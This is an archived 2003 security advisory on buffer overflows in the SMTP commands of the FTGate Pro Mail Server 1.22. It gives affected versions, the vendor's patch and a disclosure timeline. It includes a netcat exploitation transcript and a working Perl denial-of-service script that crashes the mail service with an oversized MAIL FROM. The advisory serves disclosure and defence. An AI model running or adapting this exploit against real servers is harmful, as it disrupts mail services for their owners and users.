Multiple Buffer Overflow Vulnerabilities Found in FTGate Pro Mail Server v. 1.22 (1328)

From: Dennis Rand (derat_private)
Date: Tue May 06 2003 - 06:57:42 PDT

  • Next message: securityat_private: "Security Update: [CSSA-2003-017.0] OpenLinux: Various serious Samba vulnerabilities"

                        Multiple Buffer Overflow Vulnerabilities
                     Found in FTGate Pro Mail Server v. 1.22 (1328)
                               http://www.ftgate.com
                             
                              Discovered by Dennis Rand
                                 www.Infowarfare.dk
    ------------------------------------------------------------------------
    
    
    -----[SUMMARY
    FTGatePro is Floosietek's flagship server. The comprehensive feature set 
    In this server ensures that it will meet whatever demands you place on it. 
    This server is powerful enough for the most demanding of tasks.
    
    The problem is a Buffer Overflow in the SMTP protocol, within the 
    ESMTP Server FTGate, causing the service to stop responding for a short
    Period, where we can actually overwrite the exception handler on the stack
    allowing 
    A system compromise with code execution running as SYSTEM.
    
    
    -----[AFFECTED SYSTEMS
    Vulnerable systems:
     * FTGate Pro Mail Server v. 1.22 (1328)
    
    Immune systems:
     * FTGate Pro Mail Server v. 1.22 (HotFix 1330)
    
    -----[SEVERITY
    Medium/High - An attacker is able to cause a DoS attack on the SMTP
    protocol.
                  And we can actually overwrite the exception handler on the
    stack 
                  Allowing a system compromise with code execution running as
    SYSTEM.
                  
    
    -----[DESCRIPTION OF WHAT THE VULNERABILITY IS
    The Vulnerability is a Buffer Overflow in the FTGate Pro Mail Server v. 1.22
    (1328) When a malicious attacker sends a large amount into the "MAIL FROM"
    and the "RCPT TO" The buffer will overflow. If the code was carefully
    crafted, attackers could execute 
    Arbitrary command in system privilege.
    
    The following transcript demonstrates a sample exploitation of the 
    Vulnerabilities:
    ----------------------------- [Transcript] ----------------------------- nc
    warlab.dk 25 220 win2k-serv ESMTP Server FTGate HELO Foobar 250 win2k-serv
    Mail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending
    with ".com"] <Connection closed>
    
    The same Vulnerability is in the RCPT TO
    nc warlab.dk 25
    220 win2k-serv ESMTP Server FTGate
    HELO Foobar
    250 win2k-serv
    Mail From : adminat_private
    250 <adminat_private> Sender Ok
    Rcpt To: <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending
    with ".com"] <connection closed>
    ----------------------------- [Transcript] -----------------------------
    
    ----------------------------- [Exploit Code] -----------------------------
    #!/usr/bin/perl -w ################## # FTGate Pro Mail Server v. 1.22
    (1328) DoS attack # # URL: http://www.infowarfare.dk/ # EMAIL:
    derat_private # USAGE: sploit.pl <target ip> # # Summary: # # The
    problem is a Buffer Overflow in the SMTP protocol, within the 
    # ESMTP Server FTGate, causing the service to stop responding for a short #
    Period, where we can actually overwrite the exception handler on the stack
    allowing 
    # A system compromise with code execution running as SYSTEM.
    # 
    #
    # Solution: 
    # Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later # 
    #
    
    use IO::Socket;
        
    $target = shift() || "warlab.dk";
    my $port = 25;
    my $Buffer = "a" x 2400;
    
    
    my $sock = IO::Socket::INET->new (
                                        PeerAddr => $target,
                                        PeerPort => $port,
                                        Proto => 'tcp'
                                     ) || die "could not connect: $!";
    
    my $banner = <$sock>;
    if ($banner !~ /^2.*/)
    {
        print STDERR "Error: invalid server response '$banner'.\n";
        exit(1);
    }
    
    print $sock "HELO $target\r\n";
    $resp = <$sock>;
    
    print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
    $resp = <$sock>;
    
    print $sock "\r\n";
    print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";
    
    close($sock);
    ----------------------------- [Exploit Code] -----------------------------
    
    When this attack is preformed the service will shortly stop and then restart
    after about 5-10 seconds, all current connections when this attack is
    preformed will be closed.
    
    
    -----[DETECTION
    FTGate Pro Mail Server v. 1.22 (1328) is vulnerable to the above-described
    attacks. 
    Earlier versions may be susceptible as well. To determine if a specific 
    implementation is vulnerable, experiment by following the above transcript. 
    
    
    -----[WORK AROUNDS
    Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) 
    
    
    -----[VENDOR RESPONSE
    Hi,
    Thank you for brining this to my attention.
    We have fixed the problem with the code and will release a patch shortly.
    Regards Richard Bang Floosietek Ltd richardat_private
    http://www.floosietek.com
    
    Hi,
    
    The patch should be up later today. 
    New users will automatically download the patched version. 
    Existing users download it through the WebAdmin UI.
    Regards
    Richard Bang
    Floosietek Ltd
    richardat_private
    http://www.floosietek.com
    
    
    -----[DISCLOSURE TIMELINE
    20/04/2003 Found the Vulnerability, and made an analysis. 23/04/2003
    Contacted Vendor at supportat_private 
    29/04/2003 Received response from Vendor
    05/05/2003 Contacted vendor for update
    06/05/2003 Received response from vendor 
    06/05/2003 Public Disclosure.
    
    
    -----[ADDITIONAL INFORMATION
    The vulnerability was discovered and reported by <derat_private> Dennis
    Rand
    
    -----[DISCLAIMER
    The information in this bulletin is provided "AS IS" without warranty of any
    kind. 
    In no event shall we be liable for any damages whatsoever including direct,
    indirect, 
    incidental, consequential, loss of business profits or special damages. 
    



    This archive was generated by hypermail 2b30 : Tue May 06 2003 - 08:28:51 PDT